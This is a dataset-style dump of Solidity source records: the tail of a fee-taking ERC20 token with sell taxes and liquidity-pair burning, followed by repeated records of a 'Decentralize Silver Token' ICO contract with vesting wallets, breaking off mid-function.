(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | updateSwapEnabled | function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
| // only use to disable contract sales if absolutely necessary (emergency use only) | LineComment | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
7291,
7397
]
} | 8,950 |
||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | Ownable | contract Ownable {
address public owner;
// event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
// OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | Ownable | function Ownable() public {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
264,
324
]
} | 8,951 |
|
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | Ownable | contract Ownable {
address public owner;
// event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
// OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
// OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
647,
826
]
} | 8,952 |
|
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | setDSTWalletLMNO | function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
| // @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
1708,
1878
]
} | 8,953 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
